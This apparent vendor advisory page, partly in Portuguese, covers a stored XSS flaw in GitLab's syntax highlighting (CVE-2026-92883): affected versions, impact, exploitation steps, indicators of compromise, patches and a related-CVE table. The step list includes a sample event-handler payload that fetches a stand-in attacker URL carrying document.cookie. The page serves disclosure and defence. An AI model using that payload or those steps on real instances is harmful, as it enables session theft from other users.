CVE-2026-92883: 
GitLab Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-92883 is a stored Cross-Site Scripting (XSS) vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE) that allows an authenticated user to execute arbitrary JavaScript in the browser sessions of other users via a specially crafted repository. The root cause is improper sanitization of HTML attributes in syntax-highlighted output. Affected versions include all GitLab CE/EE releases from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2. It was published on October 13, 2026, with patches released the same day. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, GitLab Patch Release).

Detalhes técnicos

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). GitLab's syntax highlighting engine fails to properly sanitize HTML attributes embedded in code rendered within repository views, allowing malicious HTML/JavaScript to be injected and executed in the browsers of other users who view the crafted repository. Exploitation requires the attacker to be an authenticated GitLab user with the ability to create or modify repository content, and a victim user must view the malicious repository page (user interaction required). The scope is changed, meaning the impact extends beyond the attacker's own session to affect other users' browser contexts (GitHub Advisory, GitLab Patch Release).

Impacto

Successful exploitation enables an authenticated attacker to execute arbitrary JavaScript in the browser sessions of other GitLab users who view the malicious repository, resulting in high confidentiality and integrity impact with no availability impact. Practical consequences include session hijacking (stealing authentication tokens or cookies), credential theft, unauthorized actions performed on behalf of victims, and potential malware distribution to users browsing the repository. The changed scope means the impact propagates beyond the attacker's own privilege level to affect any user — including administrators — who views the crafted content (GitHub Advisory, CERT-EU Advisory).

Exploração

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The vulnerability was reported via HackerOne (report #3936831) and remediated by GitLab before public disclosure. The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

Etapas de exploração

  1. Reconnaissance: Identify a vulnerable GitLab CE/EE instance running versions 19.1.x (before 19.2.8), 19.3.x (before 19.3.5), or 19.4.x (before 19.4.2).
  2. Authenticate: Log in to the GitLab instance with any valid user account (low-privilege access is sufficient).
  3. Craft malicious repository content: Create or modify a file in a repository with content that, when syntax-highlighted by GitLab, injects unsanitized HTML attributes containing a JavaScript payload (e.g., crafting source code with embedded event handler attributes such as onmouseover="fetch('https://attacker.com/?c='+document.cookie)" that survive the sanitization step).
  4. Deliver the link: Share the repository URL or a direct link to the malicious file with target users (e.g., via merge request, issue comment, or email).
  5. Trigger execution: When a victim user views the repository page containing the syntax-highlighted malicious file, the injected JavaScript executes in their browser context.
  6. Achieve objective: Collect stolen session tokens, perform actions as the victim user, or pivot to further attacks within the GitLab environment (GitHub Advisory).

Indicadores de compromisso

  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing a GitLab repository page; unusual POST requests to attacker-controlled endpoints containing encoded cookie or token data.
  • Logs: GitLab application logs showing repeated access to a specific repository file or blob by multiple different users in a short timeframe; access log entries for repository pages with unusual referrer headers.
  • File System: Presence of repository files containing suspicious HTML attribute patterns (e.g., on*= event handlers, javascript: URIs) within syntax-highlighted source code files.
  • Session/Auth: Unexpected session activity or API calls from user accounts at unusual times or from unfamiliar IP addresses, potentially indicating session hijacking following XSS exploitation.

Mitigação e soluções alternativas

GitLab has released patched versions addressing this vulnerability: 19.2.8, 19.3.5, and 19.4.2. Administrators should upgrade to the appropriate patched version as soon as possible (GitLab Patch Release). As a temporary mitigation, restrict repository creation and modification permissions to trusted users only, and monitor for suspicious repository content. There is no known configuration-only workaround that fully mitigates the vulnerability without upgrading.

Reações da comunidade

CERT-EU published a security advisory (2026-016) covering this and related GitLab vulnerabilities, recommending prompt patching (CERT-EU Advisory). The vulnerability received coverage from security news outlets including The Hacker News, CSO Online, Heise, and CyberPress, largely in the context of a broader GitLab patch release that also addressed a separate CVSS 10.0 severity flaw (GitLab Patch Release). Community discussion on platforms such as Mastodon and dev.to noted the significance of the patch batch, though CVE-2026-92883 itself attracted less individual attention than the maximum-severity issue patched simultaneously. AusCERT also issued a bulletin (ESB-2026.12505) referencing the patch release.

Recursos adicionais


Origem: Este relatório foi gerado usando IA

Relacionado GitLab Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploração do CISA KEV

Tem correção

Data de publicação

CVE-2026-97229CRITICAL10
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NãoSimOct 13, 2026
CVE-2026-92883HIGH8.7
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NãoSimOct 13, 2026
CVE-2026-96893HIGH7.3
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NãoSimOct 13, 2026
CVE-2026-92528MEDIUM4.2
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NãoSimOct 13, 2026
CVE-2026-9268LOW2.7
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NãoSimOct 13, 2026

Avaliação de vulnerabilidade gratuita

Compare sua postura de segurança na nuvem

Avalie suas práticas de segurança na nuvem em 9 domínios de segurança para comparar seu nível de risco e identificar lacunas em suas defesas.

Solicitar avaliação

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades